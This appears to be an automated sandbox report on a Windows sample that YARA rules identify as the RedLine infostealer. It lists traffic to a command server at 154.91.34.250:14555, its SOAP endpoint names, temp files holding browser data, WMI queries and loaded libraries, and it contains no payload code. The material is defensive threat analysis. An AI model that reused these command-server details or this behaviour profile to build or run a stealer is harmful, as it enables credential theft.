Source: unknown	TCP traffic detected without corresponding DNS query: 154.91.34.250
Source: unknown	TCP traffic detected without corresponding DNS query: 154.91.34.250
Source: unknown	TCP traffic detected without corresponding DNS query: 154.91.34.250
Source: unknown	TCP traffic detected without corresponding DNS query: 154.91.34.250
Source: unknown	TCP traffic detected without corresponding DNS query: 154.91.34.250
Source: unknown	TCP traffic detected without corresponding DNS query: 154.91.34.250
Source: unknown	TCP traffic detected without corresponding DNS query: 154.91.34.250
Source: unknown	TCP traffic detected without corresponding DNS query: 154.91.34.250
Source: unknown	TCP traffic detected without corresponding DNS query: 154.91.34.250
Source: unknown	TCP traffic detected without corresponding DNS query: 154.91.34.250
Source: unknown	TCP traffic detected without corresponding DNS query: 154.91.34.250
Source: unknown	TCP traffic detected without corresponding DNS query: 154.91.34.250
Source: unknown	TCP traffic detected without corresponding DNS query: 154.91.34.250
Source: unknown	TCP traffic detected without corresponding DNS query: 154.91.34.250
Source: unknown	TCP traffic detected without corresponding DNS query: 154.91.34.250
Source: unknown	TCP traffic detected without corresponding DNS query: 154.91.34.250
Source: unknown	TCP traffic detected without corresponding DNS query: 154.91.34.250
Source: unknown	TCP traffic detected without corresponding DNS query: 154.91.34.250
Source: unknown	TCP traffic detected without corresponding DNS query: 154.91.34.250
Source: unknown	TCP traffic detected without corresponding DNS query: 154.91.34.250
Source: unknown	TCP traffic detected without corresponding DNS query: 154.91.34.250
Source: unknown	TCP traffic detected without corresponding DNS query: 154.91.34.250
Source: unknown	TCP traffic detected without corresponding DNS query: 154.91.34.250

Source: global traffic

DNS traffic detected: DNS query: api.ip.sb

Source: unknown

HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"Host: 154.91.34.250:14555Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive

Source: ep0X2wemcU.exe, 00000000.00000002.2197772354.0000000002492000.00000004.00000800.00020000.00000000.sdmp, ep0X2wemcU.exe, 00000000.00000002.2197772354.0000000002411000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://154.91.34.250:14555
Source: ep0X2wemcU.exe, 00000000.00000002.2197772354.0000000002411000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://154.91.34.250:14555/
Source: ep0X2wemcU.exe, 00000000.00000002.2197772354.0000000002492000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://154.91.34.250:14555t-sq
Source: ep0X2wemcU.exe, 00000000.00000002.2197772354.0000000002492000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.datacontract.org/2004/07/
Source: ep0X2wemcU.exe, 00000000.00000002.2197772354.0000000002411000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/actor/next
Source: ep0X2wemcU.exe, 00000000.00000002.2197772354.0000000002411000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: ep0X2wemcU.exe, 00000000.00000002.2197772354.0000000002411000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing
Source: ep0X2wemcU.exe, 00000000.00000002.2197772354.0000000002411000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/faultX
Source: ep0X2wemcU.exe, 00000000.00000002.2197772354.0000000002411000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous
Source: ep0X2wemcU.exe, 00000000.00000002.2197772354.0000000002411000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: ep0X2wemcU.exe, 00000000.00000002.2197772354.0000000002411000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/
Source: ep0X2wemcU.exe, 00000000.00000002.2197772354.0000000002411000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/0
Source: ep0X2wemcU.exe, 00000000.00000002.2197772354.0000000002411000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/CheckConnect
Source: ep0X2wemcU.exe, 00000000.00000002.2197772354.0000000002411000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/CheckConnectResponse
Source: ep0X2wemcU.exe, 00000000.00000002.2197772354.0000000002460000.00000004.00000800.00020000.00000000.sdmp, ep0X2wemcU.exe, 00000000.00000002.2197772354.0000000002411000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/EnvironmentSettings
Source: ep0X2wemcU.exe, 00000000.00000002.2197772354.0000000002411000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/EnvironmentSettingsResponse
Source: ep0X2wemcU.exe, 00000000.00000002.2197772354.0000000002492000.00000004.00000800.00020000.00000000.sdmp, ep0X2wemcU.exe, 00000000.00000002.2197772354.0000000002411000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/GetUpdates
Source: ep0X2wemcU.exe, 00000000.00000002.2197772354.0000000002411000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/GetUpdatesResponse
Source: ep0X2wemcU.exe, 00000000.00000002.2197772354.0000000002492000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/GetUpdatesh
Source: ep0X2wemcU.exe, 00000000.00000002.2197772354.0000000002492000.00000004.00000800.00020000.00000000.sdmp, ep0X2wemcU.exe, 00000000.00000002.2197772354.0000000002411000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/SetEnvironment
Source: ep0X2wemcU.exe, 00000000.00000002.2197772354.0000000002411000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/SetEnvironmentResponse
Source: ep0X2wemcU.exe, 00000000.00000002.2197772354.0000000002411000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/VerifyUpdate
Source: ep0X2wemcU.exe, 00000000.00000002.2197772354.0000000002411000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/VerifyUpdateResponse
Source: tmpD96A.tmp.0.dr, tmpA065.tmp.0.dr, tmpA044.tmp.0.dr, tmpA002.tmp.0.dr, tmp66A1.tmp.0.dr, tmp6671.tmp.0.dr, tmpA013.tmp.0.dr, tmpD969.tmp.0.dr, tmpA023.tmp.0.dr, tmp66B1.tmp.0.dr, tmpA054.tmp.0.dr, tmpD948.tmp.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: ep0X2wemcU.exe, tmpC9C8.tmp.0.dr	String found in binary or memory: https://api.ip.sb/geoip%USERPEnvironmentROFILE%
Source: ep0X2wemcU.exe, tmpC9C8.tmp.0.dr	String found in binary or memory: https://api.ipify.orgcookies//settinString.Removeg
Source: tmpD96A.tmp.0.dr, tmpA065.tmp.0.dr, tmpA044.tmp.0.dr, tmpA002.tmp.0.dr, tmp66A1.tmp.0.dr, tmp6671.tmp.0.dr, tmpA013.tmp.0.dr, tmpD969.tmp.0.dr, tmpA023.tmp.0.dr, tmp66B1.tmp.0.dr, tmpA054.tmp.0.dr, tmpD948.tmp.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: tmpD96A.tmp.0.dr, tmpA065.tmp.0.dr, tmpA044.tmp.0.dr, tmpA002.tmp.0.dr, tmp66A1.tmp.0.dr, tmp6671.tmp.0.dr, tmpA013.tmp.0.dr, tmpD969.tmp.0.dr, tmpA023.tmp.0.dr, tmp66B1.tmp.0.dr, tmpA054.tmp.0.dr, tmpD948.tmp.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: tmpD96A.tmp.0.dr, tmpA065.tmp.0.dr, tmpA044.tmp.0.dr, tmpA002.tmp.0.dr, tmp66A1.tmp.0.dr, tmp6671.tmp.0.dr, tmpA013.tmp.0.dr, tmpD969.tmp.0.dr, tmpA023.tmp.0.dr, tmp66B1.tmp.0.dr, tmpA054.tmp.0.dr, tmpD948.tmp.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: tmpD96A.tmp.0.dr, tmpA065.tmp.0.dr, tmpA044.tmp.0.dr, tmpA002.tmp.0.dr, tmp66A1.tmp.0.dr, tmp6671.tmp.0.dr, tmpA013.tmp.0.dr, tmpD969.tmp.0.dr, tmpA023.tmp.0.dr, tmp66B1.tmp.0.dr, tmpA054.tmp.0.dr, tmpD948.tmp.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: tmpD96A.tmp.0.dr, tmpA065.tmp.0.dr, tmpA044.tmp.0.dr, tmpA002.tmp.0.dr, tmp66A1.tmp.0.dr, tmp6671.tmp.0.dr, tmpA013.tmp.0.dr, tmpD969.tmp.0.dr, tmpA023.tmp.0.dr, tmp66B1.tmp.0.dr, tmpA054.tmp.0.dr, tmpD948.tmp.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: tmpD96A.tmp.0.dr, tmpA065.tmp.0.dr, tmpA044.tmp.0.dr, tmpA002.tmp.0.dr, tmp66A1.tmp.0.dr, tmp6671.tmp.0.dr, tmpA013.tmp.0.dr, tmpD969.tmp.0.dr, tmpA023.tmp.0.dr, tmp66B1.tmp.0.dr, tmpA054.tmp.0.dr, tmpD948.tmp.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: ep0X2wemcU.exe, tmpC9C8.tmp.0.dr	String found in binary or memory: https://ipinfo.io/ip%appdata%
Source: tmpD96A.tmp.0.dr, tmpA065.tmp.0.dr, tmpA044.tmp.0.dr, tmpA002.tmp.0.dr, tmp66A1.tmp.0.dr, tmp6671.tmp.0.dr, tmpA013.tmp.0.dr, tmpD969.tmp.0.dr, tmpA023.tmp.0.dr, tmp66B1.tmp.0.dr, tmpA054.tmp.0.dr, tmpD948.tmp.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: tmpD96A.tmp.0.dr, tmpA065.tmp.0.dr, tmpA044.tmp.0.dr, tmpA002.tmp.0.dr, tmp66A1.tmp.0.dr, tmp6671.tmp.0.dr, tmpA013.tmp.0.dr, tmpD969.tmp.0.dr, tmpA023.tmp.0.dr, tmp66B1.tmp.0.dr, tmpA054.tmp.0.dr, tmpD948.tmp.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico

System Summary

Malicious sample detected (through community Yara rule)

Source: ep0X2wemcU.exe, type: SAMPLE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: ep0X2wemcU.exe, type: SAMPLE	Matched rule: Finds Redline samples based on characteristic strings Author: Sekoia.io
Source: ep0X2wemcU.exe, type: SAMPLE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 0.0.ep0X2wemcU.exe.60000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: 0.0.ep0X2wemcU.exe.60000.0.unpack, type: UNPACKEDPE	Matched rule: Finds Redline samples based on characteristic strings Author: Sekoia.io
Source: 0.0.ep0X2wemcU.exe.60000.0.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 0.2.ep0X2wemcU.exe.367a2c8.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: 0.2.ep0X2wemcU.exe.367a2c8.0.unpack, type: UNPACKEDPE	Matched rule: Finds Redline samples based on characteristic strings Author: Sekoia.io
Source: 0.2.ep0X2wemcU.exe.367a2c8.0.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 0.2.ep0X2wemcU.exe.367a2c8.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: 0.2.ep0X2wemcU.exe.367a2c8.0.raw.unpack, type: UNPACKEDPE	Matched rule: Finds Redline samples based on characteristic strings Author: Sekoia.io
Source: 0.2.ep0X2wemcU.exe.367a2c8.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 00000000.00000000.2023663761.0000000000062000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: 00000000.00000002.2198762825.000000000367A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: Process Memory Space: ep0X2wemcU.exe PID: 1960, type: MEMORYSTR	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: C:\Users\user\AppData\Local\Temp\tmpC9C8.tmp, type: DROPPED	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: C:\Users\user\AppData\Local\Temp\tmpC9C8.tmp, type: DROPPED	Matched rule: Finds Redline samples based on characteristic strings Author: Sekoia.io
Source: C:\Users\user\AppData\Local\Temp\tmpC9C8.tmp, type: DROPPED	Matched rule: Detects RedLine infostealer Author: ditekSHen

Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Code function: 0_2_0068E7B0	0_2_0068E7B0
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Code function: 0_2_0068DC90	0_2_0068DC90
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Code function: 0_2_05D94468	0_2_05D94468
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Code function: 0_2_05D99628	0_2_05D99628
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Code function: 0_2_05D93320	0_2_05D93320
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Code function: 0_2_05D91210	0_2_05D91210
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Code function: 0_2_05D9DD00	0_2_05D9DD00
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Code function: 0_2_05D9D108	0_2_05D9D108

Source: ep0X2wemcU.exe, 00000000.00000002.2198762825.000000000367A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameImplosions.exe4 vs ep0X2wemcU.exe
Source: ep0X2wemcU.exe, 00000000.00000000.2023663761.0000000000062000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameImplosions.exe4 vs ep0X2wemcU.exe
Source: ep0X2wemcU.exe, 00000000.00000002.2197772354.0000000002492000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename vs ep0X2wemcU.exe
Source: ep0X2wemcU.exe, 00000000.00000002.2197330928.000000000080E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs ep0X2wemcU.exe
Source: ep0X2wemcU.exe	Binary or memory string: OriginalFilenameImplosions.exe4 vs ep0X2wemcU.exe

Source: ep0X2wemcU.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: ep0X2wemcU.exe, type: SAMPLE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: ep0X2wemcU.exe, type: SAMPLE	Matched rule: infostealer_win_redline_strings author = Sekoia.io, description = Finds Redline samples based on characteristic strings, creation_date = 2022-09-07, classification = TLP:CLEAR, version = 1.0, id = 0c9fcb0e-ce8f-44f4-90b2-abafcdd6c02e
Source: ep0X2wemcU.exe, type: SAMPLE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 0.0.ep0X2wemcU.exe.60000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: 0.0.ep0X2wemcU.exe.60000.0.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_redline_strings author = Sekoia.io, description = Finds Redline samples based on characteristic strings, creation_date = 2022-09-07, classification = TLP:CLEAR, version = 1.0, id = 0c9fcb0e-ce8f-44f4-90b2-abafcdd6c02e
Source: 0.0.ep0X2wemcU.exe.60000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 0.2.ep0X2wemcU.exe.367a2c8.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: 0.2.ep0X2wemcU.exe.367a2c8.0.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_redline_strings author = Sekoia.io, description = Finds Redline samples based on characteristic strings, creation_date = 2022-09-07, classification = TLP:CLEAR, version = 1.0, id = 0c9fcb0e-ce8f-44f4-90b2-abafcdd6c02e
Source: 0.2.ep0X2wemcU.exe.367a2c8.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 0.2.ep0X2wemcU.exe.367a2c8.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: 0.2.ep0X2wemcU.exe.367a2c8.0.raw.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_redline_strings author = Sekoia.io, description = Finds Redline samples based on characteristic strings, creation_date = 2022-09-07, classification = TLP:CLEAR, version = 1.0, id = 0c9fcb0e-ce8f-44f4-90b2-abafcdd6c02e
Source: 0.2.ep0X2wemcU.exe.367a2c8.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 00000000.00000000.2023663761.0000000000062000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: 00000000.00000002.2198762825.000000000367A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: Process Memory Space: ep0X2wemcU.exe PID: 1960, type: MEMORYSTR	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: C:\Users\user\AppData\Local\Temp\tmpC9C8.tmp, type: DROPPED	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: C:\Users\user\AppData\Local\Temp\tmpC9C8.tmp, type: DROPPED	Matched rule: infostealer_win_redline_strings author = Sekoia.io, description = Finds Redline samples based on characteristic strings, creation_date = 2022-09-07, classification = TLP:CLEAR, version = 1.0, id = 0c9fcb0e-ce8f-44f4-90b2-abafcdd6c02e
Source: C:\Users\user\AppData\Local\Temp\tmpC9C8.tmp, type: DROPPED	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@2/98@1/1

Source: C:\Users\user\Desktop\ep0X2wemcU.exe

File created: C:\Users\user\AppData\Local\Yandex

Jump to behavior

Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2272:120:WilError_03

Source: C:\Users\user\Desktop\ep0X2wemcU.exe

File created: C:\Users\user\AppData\Local\Temp\tmp2C50.tmp

Jump to behavior

Source: ep0X2wemcU.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: ep0X2wemcU.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.80%

Source: C:\Users\user\Desktop\ep0X2wemcU.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'

Source: C:\Users\user\Desktop\ep0X2wemcU.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\ep0X2wemcU.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: tmp2C92.tmp.0.dr, tmp2C60.tmp.0.dr, tmpD9AE.tmp.0.dr, tmp2C81.tmp.0.dr, tmp6651.tmp.0.dr, tmpD98B.tmp.0.dr, tmp2C82.tmp.0.dr, tmpD98A.tmp.0.dr, tmp2C50.tmp.0.dr, tmpD9AD.tmp.0.dr, tmpD99D.tmp.0.dr, tmpD99C.tmp.0.dr

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: ep0X2wemcU.exe	Virustotal: Detection: 81%
Source: ep0X2wemcU.exe	ReversingLabs: Detection: 89%

Source: C:\Users\user\Desktop\ep0X2wemcU.exe

File read: C:\Users\user\Desktop\ep0X2wemcU.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\ep0X2wemcU.exe "C:\Users\user\Desktop\ep0X2wemcU.exe"
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Section loaded: ntmarta.dll	Jump to behavior
